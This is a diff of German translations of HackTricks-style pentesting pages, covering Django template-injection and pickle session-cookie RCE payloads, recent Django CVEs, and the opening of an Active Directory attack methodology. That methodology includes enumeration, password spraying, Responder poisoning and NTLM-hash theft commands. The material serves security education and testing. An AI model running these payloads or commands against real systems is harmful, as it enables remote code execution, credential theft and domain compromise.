-Finde den Index von `subprocess.Popen` (≈400–500, je nach Python-Build) und führe beliebige Befehle aus:
+Finde den Index von `subprocess.Popen` (≈400–500 je nach Python-Build) und führe beliebige Befehle aus:
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Ein sichereres, universelles Gadget ist, so lange zu iterieren, bis `cls.__name__ == 'Popen'`.
+Ein sichereres universelles Gadget ist, so lange zu iterieren, bis `cls.__name__ == 'Popen'`.

-Dasselbe Gadget funktioniert für **Debug Toolbar**- oder **Django-CMS**-Template-Rendering-Funktionen, die Benutzereingaben falsch verarbeiten.
+Dasselbe Gadget funktioniert für **Debug Toolbar** oder **Django-CMS** Template-Rendering-Funktionen, die Benutzereingaben falsch behandeln.

 ---

-### Siehe auch: ReportLab/xhtml2pdf PDF-Export RCE
-Auf Django basierende Anwendungen integrieren häufig xhtml2pdf/ReportLab, um Views als PDF zu exportieren. Wenn von Benutzern kontrolliertes HTML in die PDF-Erzeugung gelangt, kann rl_safe_eval Ausdrücke innerhalb dreifacher Klammern `[[[ ... ]]]` auswerten, was Codeausführung ermöglicht (CVE-2023-33733). Details, payloads und Gegenmaßnahmen:
+### Also see: ReportLab/xhtml2pdf PDF export RCE
+Auf Django basierende Anwendungen integrieren häufig xhtml2pdf/ReportLab, um Views als PDF zu exportieren. Wenn durch den Benutzer kontrolliertes HTML in die PDF-Erzeugung gelangt, kann rl_safe_eval Ausdrücke innerhalb dreifacher Klammern `[[[ ... ]]]` auswerten und so Codeausführung ermöglichen (CVE-2023-33733). Details, payloads, und Gegenmaßnahmen:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -46,10 +46,10 @@ Auf Django basierende Anwendungen integrieren häufig xhtml2pdf/ReportLab, um Vi

 ---

-## Pickle-gestützte Session-Cookie RCE
-Wenn die Einstellung `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` aktiviert ist (oder ein benutzerdefinierter Serializer, der pickle deserialisiert), *entschlüsselt und unpickelt* Django das Session-Cookie **bevor** irgendein View-Code aufgerufen wird. Daher reicht das Besitzen eines gültigen Signing-Keys (standardmäßig der Projekt-`SECRET_KEY`) für sofortige Remote-Code-Ausführung.
+## Pickle-Backed Session Cookie RCE
+Wenn die Einstellung `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` aktiviert ist (oder ein custom serializer, der pickle deserialisiert), entschlüsselt und mittels pickle deserialisiert Django das Session-Cookie **bevor** irgendein View-Code aufgerufen wird. Daher reicht es aus, einen gültigen Signing-Key zu besitzen (standardmäßig der Projekt-`SECRET_KEY`), um sofortige Remote-Code-Ausführung zu erreichen.

-### Exploit-Anforderungen
+### Exploit Requirements
 * Der Server verwendet `PickleSerializer`.
 * Der Angreifer kennt / kann `settings.SECRET_KEY` erraten (leaks via GitHub, `.env`, Fehlerseiten, etc.).

@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Sende das resultierende Cookie, und die payload läuft mit den Rechten des WSGI-Workers.
+Sende das resultierende Cookie, und die Payload läuft mit den Berechtigungen des WSGI-Workers.

-**Gegenmaßnahmen**: Behalte den Standard-`JSONSerializer`, rotiere den `SECRET_KEY` und konfiguriere `SESSION_COOKIE_HTTPONLY`.
+**Gegenmaßnahmen**: Behalte den Standard-`JSONSerializer` bei, rotiere den `SECRET_KEY` und konfiguriere `SESSION_COOKIE_HTTPONLY`.

 ---

-## Aktuelle (2023–2025) hochkritische Django-CVEs, die Pentester prüfen sollten
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Logdateien einzuschleusen und nachgelagerte Log-Analysen zu vergiften. Patch-Level ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Konstruiere JSON-Schlüssel, um aus dem Quoting auszubrechen und beliebiges SQL auszuführen. Behoben in 4.2.15 / 5.0.8.
+## Aktuelle (2023-2025) Django-CVEs mit hoher Auswirkung, die Pentester prüfen sollten
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Logdateien einzuschleusen und die nachgelagerte Log-Analyse zu vergiften. Patchlevel ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Konstruiere JSON-Schlüssel so, dass sie aus der Quotierung ausbrechen und beliebigen SQL-Code ausführen. Behoben in 4.2.15 / 5.0.8.

-Ermittle immer die genaue Framework-Version über die `X-Frame-Options` Fehlerseite oder den Hash von `/static/admin/css/base.css` und teste die oben genannten Punkte, wo anwendbar.
+Always fingerprint die genaue Framework-Version über die `X-Frame-Options`-Fehlerseite oder den Hash von `/static/admin/css/base.css` und teste die oben genannten Punkte, wo anwendbar.

 ---

 ## Referenzen
-* Django-Sicherheitsmeldung – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4. Juni 2025.
-* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11. August 2024.
-* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733, um RCE zu erlangen und in AD vorzudringen – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
+* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
+* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
+* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -1,58 +1,58 @@
-# Active Directory Methodology
+# Active Directory Methodik

 {{#include ../../banners/hacktricks-training.md}}

-## Basic overview
+## Grundüberblick

-**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domänen**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist darauf ausgelegt zu skalieren und erlaubt die Organisation einer großen Anzahl von Benutzern in handhabbare **Gruppen** und **Untergruppen**, wobei **Zugriffsrechte** auf verschiedenen Ebenen gesteuert werden können.
+**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domains**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist so konzipiert, dass es skaliert und die Organisation einer großen Anzahl von Benutzern in überschaubare **Gruppen** und **Untergruppen** ermöglicht, während **Zugriffsrechte** auf verschiedenen Ebenen gesteuert werden.

-Die Struktur von **Active Directory** besteht aus drei primären Ebenen: **Domänen**, **Domänenbäumen** und **Wäldern**. Eine **Domäne** umfasst eine Sammlung von Objekten, wie **Benutzer** oder **Geräte**, die eine gemeinsame Datenbank teilen. **Domänenbäume** sind Gruppen dieser Domänen, die durch eine gemeinsame Struktur verbunden sind, und ein **Wald** stellt die Sammlung mehrerer Domänenbäume dar, die durch **Vertrauensbeziehungen** miteinander verbunden sind und die oberste Ebene der Organisationsstruktur bilden. Spezifische **Zugriffs-** und **Kommunikationsrechte** können auf jeder dieser Ebenen festgelegt werden.
+Die Struktur von **Active Directory** besteht aus drei hauptsächlichen Ebenen: **domains**, **trees** und **forests**. Eine **domain** umfasst eine Sammlung von Objekten, wie **Benutzer** oder **Geräte**, die eine gemeinsame Datenbank teilen. **Trees** sind Gruppen dieser Domains, die durch eine gemeinsame Struktur verbunden sind, und ein **forest** stellt die Sammlung mehrerer Trees dar, die durch **trust relationships** verbunden sind und die oberste Ebene der Organisationsstruktur bilden. Bestimmte **Zugriffs-** und **Kommunikationsrechte** können auf jeder dieser Ebenen festgelegt werden.

-Wichtige Konzepte innerhalb von **Active Directory** umfassen:
+Wichtige Konzepte innerhalb von **Active Directory** sind:

 1. **Directory** – Beherbergt alle Informationen zu Active Directory-Objekten.
 2. **Object** – Bezeichnet Entitäten im Verzeichnis, einschließlich **Benutzern**, **Gruppen** oder **freigegebenen Ordnern**.
-3. **Domain** – Dient als Container für Verzeichnisobjekte; mehrere Domänen können innerhalb eines **Walds** koexistieren, wobei jede ihre eigene Objektsammlungen pflegt.
-4. **Tree** – Eine Gruppierung von Domänen, die eine gemeinsame Root-Domäne teilen.
-5. **Forest** – Die oberste Organisationsstruktur in Active Directory, bestehend aus mehreren Domänenbäumen mit **Vertrauensbeziehungen** untereinander.
+3. **Domain** – Dient als Container für Verzeichnisobjekte; es können mehrere Domains innerhalb eines **forests** koexistieren, wobei jede ihre eigene Objektsammlung hat.
+4. **Tree** – Eine Gruppierung von Domains, die eine gemeinsame Root-Domain teilen.
+5. **Forest** – Die Spitze der Organisationsstruktur in Active Directory, bestehend aus mehreren Trees mit **trust relationships** untereinander.

-**Active Directory Domain Services (AD DS)** umfasst eine Reihe von Diensten, die für die zentrale Verwaltung und Kommunikation innerhalb eines Netzwerks entscheidend sind. Diese Dienste beinhalten:
+**Active Directory Domain Services (AD DS)** umfasst eine Reihe von Diensten, die für die zentrale Verwaltung und Kommunikation in einem Netzwerk entscheidend sind. Diese Dienste beinhalten:

-1. **Domain Services** – Zentralisiert die Datenspeicherung und verwaltet die Interaktionen zwischen **Benutzern** und **Domänen**, einschließlich **Authentifizierung** und **Suche**.
-2. **Certificate Services** – Überwacht die Erstellung, Verteilung und Verwaltung sicherer **digitaler Zertifikate**.
-3. **Lightweight Directory Services** – Unterstützt directory-enabled Anwendungen über das **LDAP-Protokoll**.
+1. **Domain Services** – Zentralisiert die Datenspeicherung und verwaltet Interaktionen zwischen **Benutzern** und **Domains**, einschließlich **Authentifizierung** und **Suche**.
+2. **Certificate Services** – Überwacht die Erstellung, Verteilung und Verwaltung von sicheren **digitalen Zertifikaten**.
+3. **Lightweight Directory Services** – Unterstützt directory-enabled Anwendungen über das **LDAP protocol**.
 4. **Directory Federation Services** – Bietet **Single-Sign-On**-Funktionalität, um Benutzer über mehrere Webanwendungen in einer Sitzung zu authentifizieren.
-5. **Rights Management** – Hilft beim Schutz von urheberrechtlich geschütztem Material, indem die unautorisierte Verbreitung und Nutzung reguliert wird.
-6. **DNS Service** – Entscheidend für die Auflösung von **Domainnamen**.
+5. **Rights Management** – Hilft beim Schutz von urheberrechtlich geschütztem Material durch Regulierung seiner unautorisierten Verbreitung und Nutzung.
+6. **DNS Service** – Wichtig für die Auflösung von **Domain-Namen**.

-Für eine detailliertere Erklärung siehe: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
+For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Um zu lernen, wie man ein **AD** angreift, muss man den **Kerberos-Authentifizierungsprozess** wirklich gut verstehen.\
-[**Lies diese Seite, falls du noch nicht weißt, wie es funktioniert.**](kerberos-authentication.md)
+To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
+[**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Cheat Sheet
+## Spickzettel

-Du kannst https://wadcoms.github.io/ verwenden, um schnell einen Überblick zu bekommen, welche Befehle du ausführen kannst, um ein AD zu enumerieren/auszunutzen.
+Du kannst dir https://wadcoms.github.io/ ansehen, um schnell einen Überblick zu bekommen, welche Befehle du zum enumerate/exploit eines AD ausführen kannst.

 > [!WARNING]
-> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
+> **Kerberos**-Kommunikation **erfordert einen vollständigen qualifizierten Namen (FQDN)**, um Aktionen durchzuführen. Wenn du versuchst, über die IP-Adresse auf eine Maschine zuzugreifen, **wird NTLM und nicht Kerberos verwendet**.

-## Recon Active Directory (No creds/sessions)
+## Recon Active Directory (keine creds/sessions)

-Wenn du Zugriff auf eine AD-Umgebung hast, aber keine Anmeldeinformationen/Sessions, könntest du:
+Wenn du nur Zugriff auf eine AD-Umgebung hast, aber keine Credentials/Sessions, könntest du:

 - **Pentest the network:**
- Scanne das Netzwerk, finde Maschinen und offene Ports und versuche, **Vulnerabilities auszunutzen** oder **Credentials zu extrahieren** (zum Beispiel können [Printer sehr interessante Ziele sein](ad-information-in-printers.md)).
- Die Enumeration von DNS kann Informationen über Schlüsselsysteme in der Domäne liefern, wie Web, Drucker, Shares, VPN, Media, etc.
+- Scanne das Netzwerk, finde Maschinen und offene Ports und versuche, **exploit vulnerabilities** oder **extract credentials** von ihnen (zum Beispiel, [printers could be very interesting targets](ad-information-in-printers.md)).
+- Die DNS-Aufzählung kann Informationen über wichtige Server in der Domain liefern, wie Web, Drucker, Shares, VPN, Media, usw.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
 - Schau dir die allgemeine [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) an, um mehr Informationen darüber zu finden, wie man das macht.
- **Check for null and Guest access on smb services** (das funktioniert nicht auf modernen Windows-Versionen):
+- **Check for null and Guest access on smb services** (das funktioniert nicht bei modernen Windows-Versionen):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Ein detaillierterer Leitfaden, wie man einen SMB-Server enumeriert, ist hier zu finden:
+- A more detailed guide on how to enumerate a SMB server can be found here:


 {{#ref}}
@ -61,7 +61,7 @@ Wenn du Zugriff auf eine AD-Umgebung hast, aber keine Anmeldeinformationen/Sessi

 - **Enumerate Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Ein detaillierterer Leitfaden, wie man LDAP enumeriert, ist hier zu finden (achte **besonders auf anonymen Zugriff**):
+- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):


 {{#ref}}
@ -69,21 +69,21 @@ Wenn du Zugriff auf eine AD-Umgebung hast, aber keine Anmeldeinformationen/Sessi
 {{#endref}}

 - **Poison the network**
- Sammle Credentials, indem du [**Services mit Responder impersonierst**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Greife Hosts an, indem du [**den relay attack ausnutzt**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Sammle Credentials, indem du **gefälschte UPnP-Services mit evil-S** **exponierst**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Sammle Credentials, indem du Dienste mit Responder impersonierst ([**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md))
+- Greife Hosts an, indem du den [**relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ausnutzt
+- Sammle Credentials, indem du **fake UPnP services** mit evil-S **exponierst** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Extrahiere Benutzernamen/Namen aus internen Dokumenten, Social Media, Services (hauptsächlich Web) innerhalb der Domänenumgebungen und auch aus öffentlich zugänglichen Quellen.
- Wenn du die vollständigen Namen von Mitarbeitern findest, könntest du verschiedene AD **username conventions** ausprobieren ([**lies das**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die gängigsten Konventionen sind: _NameSurname_, _Name.Surname_, _NamSur_ (3 Buchstaben von jedem), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
+- Extrahiere Usernames/Namen aus internen Dokumenten, Social Media, Services (hauptsächlich Web) innerhalb der Domain-Umgebungen und auch aus öffentlich verfügbaren Quellen.
+- Wenn du die vollständigen Namen von Mitarbeitenden findest, kannst du verschiedene AD **username conventions** ausprobieren ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die gängigsten Konventionen sind: _NameSurname_, _Name.Surname_, _NamSur_ (3 Buchstaben von jedem), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
 - Tools:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### User enumeration
+### Benutzeraufzählung

- **Anonymous SMB/LDAP enum:** Siehe die Seiten [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) und [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Wenn ein **ungültiger Benutzername abgefragt** wird, antwortet der Server mit dem **Kerberos-Fehlercode** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, was uns erlaubt zu bestimmen, dass der Benutzername ungültig ist. **Gültige Benutzernamen** werden entweder ein **TGT in einer AS-REP**-Antwort auslösen oder den Fehler _KRB5KDC_ERR_PREAUTH_REQUIRED_, was anzeigt, dass der Benutzer Pre-Authentication durchführen muss.
- **No Authentication against MS-NRPC**: Verwendung von auth-level = 1 (Keine Authentifizierung) gegen die MS-NRPC (Netlogon)-Schnittstelle auf Domain Controllern. Die Methode ruft die Funktion `DsrGetDcNameEx2` nach dem Binden der MS-NRPC-Schnittstelle auf, um zu prüfen, ob der Benutzer oder Computer ohne Anmeldeinformationen existiert. Das Tool [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementiert diese Art der Enumeration. Die Forschung dazu ist [hier](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) zu finden.
+- **Anonymous SMB/LDAP enum:** Siehe die Seiten zu [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) und [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Kerbrute enum**: Wenn ein **ungültiger Benutzername angefragt** wird, antwortet der Server mit dem **Kerberos-Fehler**code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, was uns erlaubt zu bestimmen, dass der Benutzername ungültig ist. **Gültige Benutzernamen** führen entweder zu einem **TGT in einer AS-REP**-Antwort oder zum Fehler _KRB5KDC_ERR_PREAUTH_REQUIRED_, was anzeigt, dass der Benutzer Pre-Authentication durchführen muss.
+- **No Authentication against MS-NRPC**: Verwendung von auth-level = 1 (No authentication) gegen die MS-NRPC (Netlogon)-Schnittstelle auf Domain Controllern. Die Methode ruft die Funktion `DsrGetDcNameEx2` nach dem Binden der MS-NRPC-Schnittstelle auf, um zu prüfen, ob der Benutzer oder Computer ohne jegliche Credentials existiert. Das Tool [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementiert diese Art der Enumeration. Die Forschung ist hier zu finden: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-Wenn Sie einen dieser Server im Netzwerk gefunden haben, können Sie auch **user enumeration against it** durchführen. Zum Beispiel können Sie das Tool [**MailSniper**](https://github.com/dafthack/MailSniper) verwenden:
+Wenn Sie einen dieser Server im Netzwerk finden, können Sie auch **user enumeration against it** durchführen. Zum Beispiel könnten Sie das Tool [**MailSniper**](https://github.com/dafthack/MailSniper) verwenden:
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,18 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Du kannst Listen von Benutzernamen in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) und in diesem ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) finden.
 >
-> However, you should have the **Namen der Personen, die im Unternehmen arbeiten** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
+> Du solltest jedoch die **Namen der Personen, die in der Firma arbeiten** aus dem Recon-Schritt haben, den du zuvor durchgeführt haben solltest. Mit Vor- und Nachname kannst du das Script [**namemash.py**](https://gist.github.com/superkojiman/11076951) verwenden, um potenziell gültige Benutzernamen zu erzeugen.

-### Knowing one or several usernames
+### Wenn du einen oder mehrere Benutzernamen kennst

-Ok, so you know you have already a valid username but no passwords... Then try:
-
- [**ASREPRoast**](asreproast.md): Wenn ein Benutzer das Attribut _DONT_REQ_PREAUTH_ **nicht hat**, können Sie **eine AS_REP-Nachricht anfordern** für diesen Benutzer, die einige Daten enthalten wird, die mit einer Ableitung des Passworts des Benutzers verschlüsselt sind.
- [**Password Spraying**](password-spraying.md): Versuchen Sie die **häufigsten Passwörter** bei jedem der entdeckten Benutzer; vielleicht verwendet ein Benutzer ein schlechtes Passwort (denken Sie an die Passwortrichtlinie!).
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
+Ok, du weißt also bereits, dass du einen gültigen Benutzernamen, aber kein Passwort hast... Versuche dann:

+- [**ASREPRoast**](asreproast.md): Wenn ein Benutzer das Attribut _DONT_REQ_PREAUTH_ **nicht hat**, kannst du eine AS_REP-Nachricht für diesen Benutzer anfordern, die Daten enthält, welche mit einer Ableitung des Benutzerpassworts verschlüsselt sind.
+- [**Password Spraying**](password-spraying.md): Versuche die gängigsten **common passwords** bei jedem entdeckten Benutzer; vielleicht verwendet ein Benutzer ein schwaches Passwort (beachte die Passwort-Richtlinie!).
+- Beachte, dass du auch **spray OWA servers** kannst, um Zugriff auf die Mailserver der Benutzer zu versuchen.

 {{#ref}}
 password-spraying.md
@ -129,8 +128,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-You might be able to **erhalten** some challenge **Hashes** to crack by **Poisoning** some protocols of the **Netzwerks**:
-
+Du könntest in der Lage sein, einige Challenge-**hashes** zu erhalten, um durch **Poisoning** bestimmter Protokolle im Netzwerk diese zu erhalten und zu cracken:

 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -138,23 +136,21 @@ You might be able to **erhalten** some challenge **Hashes** to crack by **Poison

 ### NTLM Relay

-If you have managed to enumerate the active directory you will have **mehr E-Mails und ein besseres Verständnis des Netzwerks**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)  to get access to the AD env.
+Wenn es dir gelungen ist, Active Directory zu enumerieren, hast du **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Möglicherweise kannst du NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) erzwingen, um Zugang zur AD-Umgebung zu erlangen.

 ### Steal NTLM Creds

-If you can **auf andere PCs oder Freigaben zugreifen** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will **eine NTLM-Authentifizierung gegen Sie auslösen** so you can **steal** the **NTLM challenge** to crack it:
-
+Wenn du mit dem **null- oder guest user** auf andere PCs oder Shares zugreifen kannst, könntest du Dateien (z. B. eine SCF-Datei) ablegen, die beim Zugriff eine NTLM-Authentifizierung zu dir auslösen, sodass du die **NTLM challenge** stehlen kannst, um sie zu cracken:

 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-## Enumerating Active Directory WITH credentials/session
+## Active Directory mit Credentials/Session enumerieren

-For this phase you need to have **die Credentials oder eine Session eines gültigen Domain-Kontos kompromittiert**. If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
-
-Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
+Für diese Phase musst du die **Credentials oder eine Session eines gültigen Domain-Kontos** kompromittiert haben. Wenn du gültige Credentials oder eine Shell als Domain-User hast, **solltest du daran denken, dass die zuvor genannten Optionen weiterhin Möglichkeiten sind, andere Benutzer zu kompromittieren**.

+Bevor du mit der authentifizierten Enumeration beginnst, solltest du wissen, was das **Kerberos Double-Hop-Problem** ist.

 {{#ref}}
 kerberos-double-hop-problem.md
@ -162,52 +158,52 @@ kerberos-double-hop-problem.md

 ### Enumeration

-Having compromised an account is a **großer Schritt, um die gesamte Domain zu kompromittieren**, because you are going to be able to start the **Active Directory Enumeration:**
+Ein Konto kompromittiert zu haben ist ein **wichtiger Schritt, um die gesamte Domain zu kompromittieren**, weil du dann mit der **Active Directory Enumeration** beginnen kannst:

-Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **Liste aller Benutzernamen** and try the password of the compromised account, empty passwords and new promising passwords.
+Bezüglich [**ASREPRoast**](asreproast.md) kannst du jetzt jeden möglichen verwundbaren Benutzer finden, und bezüglich [**Password Spraying**](password-spraying.md) kannst du eine **Liste aller Benutzernamen** erhalten und das Passwort des kompromittierten Kontos, leere Passwörter und neue vielversprechende Passwörter ausprobieren.

- Sie könnten die [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) verwenden
- Sie können auch [**powershell for recon**](../basic-powershell-for-pentesters/index.html) verwenden, das unauffälliger ist
- Sie können auch [**use powerview**](../basic-powershell-for-pentesters/powerview.md) verwenden, um detailliertere Informationen zu extrahieren
- Ein weiteres großartiges Tool für Recon in einem Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr unauffällig** (abhängig von den von Ihnen verwendeten Collection-Methoden), aber **wenn es Ihnen egal ist**, sollten Sie es unbedingt ausprobieren. Finden Sie, wo Benutzer RDP können, finden Sie Pfade zu anderen Gruppen, usw.
- **Weitere automatisierte AD-Enumeration-Tools sind:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) prüfen, da diese interessante Informationen enthalten könnten.
- Ein **Tool mit GUI**, das Sie zur Enumeration des Verzeichnisses verwenden können, ist **AdExplorer.exe** aus der **SysInternal**-Suite.
- Sie können auch die LDAP-Datenbank mit **ldapsearch** durchsuchen, um nach Credentials in den Feldern _userPassword_ & _unixUserPassword_ oder sogar im Feld _Description_ zu suchen. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für andere Methoden.
- Wenn Sie **Linux** verwenden, können Sie die Domain auch mit [**pywerview**](https://github.com/the-useless-one/pywerview) enumerieren.
- Sie können auch automatisierte Tools wie versuchen:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Alle Domain-Benutzer extrahieren**
+- Du könntest [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) verwenden.
+- Du kannst auch [**powershell for recon**](../basic-powershell-for-pentesters/index.html) nutzen, was unauffälliger ist.
+- Du kannst auch [**use powerview**](../basic-powershell-for-pentesters/powerview.md) verwenden, um detailliertere Informationen zu extrahieren.
+- Ein weiteres tolles Tool für Recon in Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr unauffällig** (abhängig von den verwendeten Collection-Methoden), aber **wenn es dir egal ist**, solltest du es unbedingt ausprobieren. Finde, wo Benutzer RDP nutzen können, finde Pfade zu anderen Gruppen usw.
+- **Weitere automatisierte AD-Enumeration-Tools sind:** [**AD Explorer**](bloodhound.md#ad-explorer), [**ADRecon**](bloodhound.md#adrecon), [**Group3r**](bloodhound.md#group3r), [**PingCastle**](bloodhound.md#pingcastle).
